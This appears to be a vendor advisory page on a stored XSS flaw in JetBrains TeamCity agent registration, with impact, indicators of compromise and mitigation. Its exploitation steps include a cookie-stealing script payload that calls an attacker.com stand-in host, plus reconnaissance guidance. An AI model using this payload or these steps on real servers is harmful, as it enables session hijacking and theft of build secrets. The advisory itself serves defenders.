CVE-2026-59795
JetBrains TeamCity vulnerability analysis and mitigation

Overview

CVE-2026-59795 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity that allows unauthenticated attackers to inject malicious scripts via the agent registration process. The vulnerability affects all versions of JetBrains TeamCity before 2026.1.2. It was published on July 10, 2026, with a patch available in version 2026.1.2. The NVD assigns a CVSS v3.1 base score of 6.1 (Medium), while the GitHub Advisory Database and ENISA rate it at 8.1 (High) (GitHub Advisory, JetBrains).

Technical details

The root cause is improper neutralization of user-controllable input during web page generation (CWE-79), specifically within the agent registration workflow. Because TeamCity permits unauthenticated agent registration, an attacker can submit crafted registration data containing malicious JavaScript payloads without any prior authentication. These scripts are stored server-side and subsequently rendered in the browsers of authenticated users (e.g., administrators) who view agent information pages, triggering execution in their session context. No public proof-of-concept exploit code has been identified at this time (GitHub Advisory, JetBrains).

Impact

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browsers of authenticated TeamCity users, including administrators. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (such as modifying build configurations or accessing sensitive CI/CD pipeline data), and potential lateral movement within the development infrastructure. Confidentiality and integrity are both impacted, though availability is not directly affected (GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify internet-facing JetBrains TeamCity instances running versions prior to 2026.1.2 using tools like Shodan or Censys, targeting the default TeamCity port (8111) or any exposed web interface.
  2. Craft malicious registration request: Prepare an agent registration request containing a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) embedded in a registration field such as the agent name or hostname.
  3. Submit unauthenticated registration: Send the crafted agent registration request to the TeamCity server's agent registration endpoint without any authentication credentials, leveraging the server's open agent registration feature.
  4. Wait for victim interaction: The malicious payload is stored in the TeamCity database and rendered when an authenticated user (e.g., an administrator) navigates to the agents page or views the registered agent's details.
  5. Harvest session tokens or perform actions: The injected script executes in the victim's browser, enabling the attacker to steal session cookies, perform authenticated API calls, exfiltrate build secrets, or pivot further into the CI/CD environment (GitHub Advisory).

Indicators of compromise

  • Network: Unexpected or anomalous agent registration requests originating from unknown or external IP addresses; outbound HTTP requests from administrator browsers to unfamiliar external domains shortly after viewing the agents page.
  • Logs: TeamCity server logs showing new agent registrations from unrecognized hosts or IP ranges; browser-side console errors or unexpected redirects logged in web proxy/SIEM tools when administrators access the agents view.
  • File System: No specific file artifacts expected for a stored XSS attack, but review TeamCity database entries for agent registration records containing HTML tags or JavaScript syntax in name/hostname fields.
  • Process/Session: Unusual authenticated API activity (e.g., build configuration changes, secret access) immediately following an administrator's visit to the agents page, potentially indicating session hijacking.

Mitigation and workarounds

JetBrains has released a patch in TeamCity version 2026.1.2, which resolves this vulnerability. Organizations should upgrade to version 2026.1.2 or later as the primary remediation step. As a workaround where immediate upgrade is not feasible, consider restricting agent registration to authenticated users only, implementing a web application firewall (WAF) to filter XSS payloads in registration requests, and limiting network access to the TeamCity agent registration endpoint to trusted IP ranges (JetBrains, GitHub Advisory).

Community reactions

Coverage of this vulnerability appeared across several security news outlets following the July 10, 2026 disclosure, including GBHackers, CyberSecurityNews, SecurityOnline, and VPNcentral, typically in the context of a broader JetBrains patch release addressing six vulnerabilities across TeamCity, YouTrack, and IntelliJ IDEA. Social media activity was noted on Mastodon via TheHackerWire. Detection support was added by Tenable (Nessus plugin 327417) and Qualys (detection ID 531793) shortly after disclosure (GBHackers, CyberSecurityNews, VPNcentral).

Additional resources


SourceThis report was generated using AI

Related JetBrains TeamCity vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-59793HIGH8.8
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesJul 10, 2026
CVE-2026-59796HIGH8.1
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesJul 10, 2026
CVE-2026-59795MEDIUM6.1
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesJul 10, 2026
CVE-2026-59794MEDIUM5.4
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesJul 10, 2026
CVE-2026-49381MEDIUM4.8
  • JetBrains TeamCity logoJetBrains TeamCity
  • cpe:2.3:a:jetbrains:teamcity
NoYesMay 29, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management